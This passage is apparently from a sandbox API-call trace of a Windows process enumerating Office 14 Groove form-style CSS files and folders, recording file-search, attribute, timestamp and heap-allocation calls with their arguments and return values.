cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x612, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0078.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.899] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0078.899] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0078.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.899] NtClose (Handle=0x164) returned 0x0 [0078.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d30d8) returned 1 [0078.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d30d8 [0078.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d31e0 [0078.900] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9080 [0078.901] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.902] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0078.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d32e8 [0078.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c80e0 [0078.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d33f0 [0078.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.903] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0078.903] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0078.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8100 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d34f8 [0078.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.904] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0078.904] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8120 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3600 [0078.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.905] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0078.905] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8140 [0078.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3708 [0078.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0078.906] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="")) returned 1 [0078.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8160 [0078.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3810 [0078.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow", cAlternateFileName="")) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8180 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3918 [0078.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0078.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c81a0 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3a20 [0078.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Country.css", cAlternateFileName="")) returned 1 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c81c0 [0078.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3b28 [0078.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0078.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0078.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c81e0 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3c30 [0078.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.910] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x72e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8200 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3d38 [0078.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0078.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="")) returned 1 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8220 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3e40 [0078.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.912] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x762, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenTea.css", cAlternateFileName="")) returned 1 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8240 [0078.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d3f48 [0078.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightSpirit.css", cAlternateFileName="")) returned 1 [0078.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8260 [0078.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d4050 [0078.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime", cAlternateFileName="")) returned 1 [0078.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1091, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 